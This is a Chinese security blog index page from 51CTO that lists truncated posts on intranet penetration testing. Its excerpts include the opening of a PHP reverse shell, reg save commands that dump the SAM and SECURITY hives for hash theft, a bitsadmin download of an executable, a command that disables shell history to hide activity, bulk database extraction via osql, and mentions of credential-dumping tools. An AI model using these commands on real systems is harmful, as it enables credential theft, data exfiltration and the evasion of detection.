serverxx0的博客_Tools tips

PSEXEC执行命令原理分析

ipc$连接释放Psexesvc.exeOpenSCManager打开受害者机器上服务控制管理器的句柄CreateService创建服务获取服务句柄OpenService使用StartService启动服务

受害者

安全技术

原创 2016-11-15 12:49:44 5132 阅读

内网主机存活扫描[Android]

NetXFing – Network Tools功能:显示每个设备的 IP 地址、Mac 地址、制造商、Bonjour 名等等，支持网络唤醒、关机等操作区别:两者无太大区别,非要说区别NetX的颜值高点。

网络

主机

Network

Android

制造商

转载精选 2016-03-07 10:25:00 1561 阅读 1收藏

xss-利用webrtc获取内网IP

xss.js function getIPs(callback){ var ip_dups = {}; &

xss

webrtc

获取内网

原创 2016-01-13 11:12:08 6678 阅读

php-reverse-shell

window、linux通用 <?php error_reporting (E_ERROR); ignore_user_abort(true); ini_set('max_execution_time',0); $os = substr(PHP_OS,0,3); $ipaddr = '192.168.182.128';

linux

window

通用

转载精选 2016-01-10 15:51:33 2068 阅读 1点赞 1评论

Aspxspy中提取执行cmd命令的代码

<%@ Page Language="C#" Debug="true" Trace="false" %> <%@ Import Namespace="System.Diagnostics" %> <script Language="c#" runat="server"&

代码

false

提取执行

原创 2016-01-06 10:46:18 10000+阅读

仿Fiddler的Chrome插件

类似live http 优点:界面比较美观https://chrome.google.com/webstore/detail/fiddler/hkknfnifmbannmgkdliadghepbneplka?hl=en

Chrome

原创 2015-12-14 13:51:04 3067 阅读

win命令行打包文件(系统自带渗透必备)

压缩一个文件： makecab c:\ls.exe ls.zip 解压一个文件： expand c:\ls.zip c:\ls.exe-------------------------------------------------------------------------------------------压缩一个文件： makecab PELoad

第三方

原创 2015-12-04 10:15:43 7149 阅读

win命令行base64编码(系统自带内网渗透必备哟)

certutil对demo.7z进行base64编码将编码的程序还原

程序

原创 2015-10-27 16:05:43 10000+阅读 1点赞 1收藏

Microsoft SQL Server指纹识别工具

ESF.pl目前支持以下版本的MSSQL数据库：Microsoft SQL Server 2000Microsoft SQL Server 2005Microsoft SQL Server 2008Microsoft SQL Server 2012ESF.pl

Microsoft

数据库

原创 2015-09-09 14:00:14 1994 阅读

漏洞演练平台

http://www.mmeit.be/bWAPP/https://github.com/710leo/ZVulDrillhttp://www.dvwa.co.uk/http://sourceforge.net/projects/dvwa-wooyun/https://github.com/Audi-1/sqli-labs

漏洞演练

置顶原创 2015-09-06 10:21:44 1637 阅读

站库分离数据库不能联网脱大型库

自己-web-sqlserver(15G 不能联网)1.web-ipc->sqlserver2.sqlserver->ipc-web3.写脚本查询切片4.提权web服务器去连接sqlserver

数据库

原创 2015-09-02 17:53:55 1501 阅读

不重启修改计算机名【批处理】

具体用途: 安全狗防护里面有个远程桌面防护，只允许指定的计算机名登陆。@ ECHO OFF color 0A ECHO ---------------------------------------------------------------------------- ECHO. ECHO&nbs

windows

计算机

版权

color

copyright

转载精选 2015-08-26 09:16:07 1123 阅读

CredCrack(快速从目标系统内存中获取用户凭证)

CredCrack这款工具使用python语言开发,这个快速便捷的工具可以帮助研究人员直接从目标系统内存中获取用户凭证,说的清楚一点,就是它可以将目标网络的网络管理员账号直接显示给你。CredCrack的工作机制如果你要使用CredCrack,首先要做的就是配置环境。它会自动启用apache服务,并在你主机的/var/www目录中部署两个文件。其中一个文件为fun.ps1,另一个文件为creds.

用户

转载精选 2015-08-24 11:05:35 1027 阅读

dns数据

https://scans.io/study/sonar.fdns

dns数据

置顶原创 2015-07-21 17:10:05 1112 阅读

离线抓取域登录缓存hash(mscash)

注意:这次抓取的是域成员的hash 并不是域控的hash注册表导出: reg save hklm\sam c:\sam.hive & reg save hklm\system c:\system.hive & reg save hklm\security c:\security.hivemscash（域缓存hash)提取 ca

用户名

注册表

security

system

python

原创 2015-07-13 16:42:05 2695 阅读

批量登录内网主机并执行命令(window)

当前环境:知道网内多个主机的默认密码(管理员),每台主机会有不同用户登录进来,现在想读取登录到主机其他用户的密码,但主机太多不想一个一个登录进去读密码。1.psexec解决办法如下：(批量链接抓取内存中的明文密码)首先应用场景：多台windows主机使用同一密码的情况（例如网内如果用了虚拟化产品）for /l %%i in (1,1,253) do

管理员

用户名

windows

用户登录

原创 2015-07-03 09:30:47 4580 阅读

命令行下连接SQLServer小工具(脱裤必备)

osql -S 192.168.2.xx -Ufxxxx -PHxxxxx -Q "use xxx;select * from xx" -o %temp%/xx.txt -w 20000

安全技术

原创 2015-06-26 10:31:14 2154 阅读

NTDS.dit hash提取工具

NTDS.dit hash提取工具为保证不修改quarkspwdump版权信息，没有quarkspwdump修改其他功能的使用,其他原有的功能都可以正常使用,只添加了几个自己添加的参数。NTDS.dit是个什么鬼呢？在域内，HASH是存在NTDS.DIT中的， NTDS.DIT是一个二进制文件，就等同于本地计算机的SAM文件，

文章

二进制

原创精选 2015-06-22 15:10:44 3212 阅读

绕过cdn-寻找真实的IP

0.ddos 耗尽流量1.子域名2.信息泄漏如phpinfo3.邮箱找回看邮箱头ip4.查看域名历史记录 (一个域名从无cdn到有cdn有个过程) http://toolbar.netcraft.com5.fuzz ip (通过前期的收集用脚本绑定收集的IP去访问)6.有能力可以扫下全网

记录

流量

能力

信息

历史

原创 2015-06-14 23:07:14 1250 阅读

站库分离-命令行下载文件

全部使用系统默认第三方或者脚本不去讨论window Bitsadmin: bitsadmin /transfer n [url]http://baidu.com/up.exe[/url] %temp%\up.exe &nbs

window

Download

下载文件

原创 2015-06-14 22:40:22 834 阅读

linux跨window渗透

1. pth-toolkit pth-winexe 2. impacket wmiexec.py smbexec.py atexec.py3. Empire Invoke-Psexec4. Metasploit psexec

linux

window

原创 2015-05-20 20:47:53 996 阅读

在myql sqlserver 快速找到带有关键字的表

sql server 全部库：declare @i int,@id int,@dbname varchar(255),@sql varchar(255) set @i = 6 set @id=(select&nbs

关键字

sqlserver

count

insert

原创 2015-05-11 12:52:38 473 阅读

arp(中间人攻击)-为pe文件注入后门

此篇中主要讲述如何在目标下载exe及zip文件的时候在zip文件及exe程序当中插入我们的后门代码。这样，只要目标运行了下载的程序就能顺利将木马植入目标主机。（一）用到的工具: 系统:kali 2.ettercap 3.BDFProxy

如何

中间人

转载精选 2015-04-27 09:42:30 1740 阅读

登录ssh之后不记录history

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

history

记录

null

export

原创 2015-04-24 12:37:57 8326 阅读

获取二级域名的几种方式

接口穷举dns域传送搜索引擎抓取通过这几种方法获取之后进行去重,之后在获取c段域名,如有二级域名抓取出来。需要解决的问题穷举的时的dns泛解析的问题

搜索引擎

二级域名

接口

原创 2015-04-04 14:39:47 3699 阅读

coldfusion数据库操作页面

<html> <body> <p><b>Notes:</b></p> <hr> <ul> <li>Select the database you want to use</li> <li>Write

database

数据库操作

statements

原创 2015-04-03 22:54:44 787 阅读

window 2000记录3389密码工具

findpass http://www.xfocus.net/tools/200307/445.html

密码

记录

window

原创 2015-04-02 17:22:24 789 阅读

Linux/Windows边界穿透神器---reprocks (反弹代理)

在渗透过程中，总是会碰到如下的问题：我拿下了一台Windows/Linux,但是处于内网，又不能提权，我的目标是内网中的其他机器，此时怎么办？当然对于windows,有htran这个神器，我的设想主要是对于Linux，因为有很大集群内部网络的机构，我碰到的大多数都是Linux处于边界。传统的lcx用C写，网上已公开源代码，有端口反连的功能，参数是(-slave)，通过该程序

Windows

源代码

数据采集

代理服务

转载精选 2015-03-31 18:17:35 2629 阅读

Fastcgi php-fpm 漏洞利用方式

fastcgi php-fpm 端口对外开放外部提交的命令可以执行https://github.com/adoy/PHP-FastCGI-Clientlocal/php/bin/php fcgiget.php 222.134.66.98:9000/etc/hosts

fastcgi

php-fpm

原创 2015-03-31 16:41:09 2874 阅读

利用nmap对Memcached未授权访问测试

https://svn.nmap.org/nmap/scripts/memcached-info.nsenmap -p 11211 --script memcached-info

nmap

未授权

访问测试

原创 2015-03-31 16:28:20 2605 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	在线客服	网站地图	意见反馈

开源基础软件社区	51CTO学堂
51CTO	汽车开发者社区

51CTO博客

Sanr

PSEXEC执行命令原理分析

内网主机存活扫描[Android]

xss-利用webrtc获取内网IP

php-reverse-shell

Aspxspy中提取执行cmd命令的代码

仿Fiddler的Chrome插件

win命令行打包文件(系统自带渗透必备)

win命令行base64编码(系统自带内网渗透必备哟)

Microsoft SQL Server指纹识别工具

漏洞演练平台

站库分离数据库不能联网脱大型库

不重启修改计算机名【批处理】

CredCrack(快速从目标系统内存中获取用户凭证)

dns数据

离线抓取域登录缓存hash(mscash)

批量登录内网主机并执行命令(window)

命令行下连接SQLServer小工具(脱裤必备)

NTDS.dit hash提取工具

绕过cdn-寻找真实的IP

站库分离-命令行下载文件

linux跨window渗透

在myql sqlserver 快速找到带有关键字的表

arp(中间人攻击)-为pe文件注入后门

登录ssh之后不记录history

获取二级域名的几种方式

coldfusion数据库操作页面

window 2000记录3389密码工具

Linux/Windows边界穿透神器---reprocks (反弹代理)

Fastcgi php-fpm 漏洞利用方式

利用nmap对Memcached未授权访问测试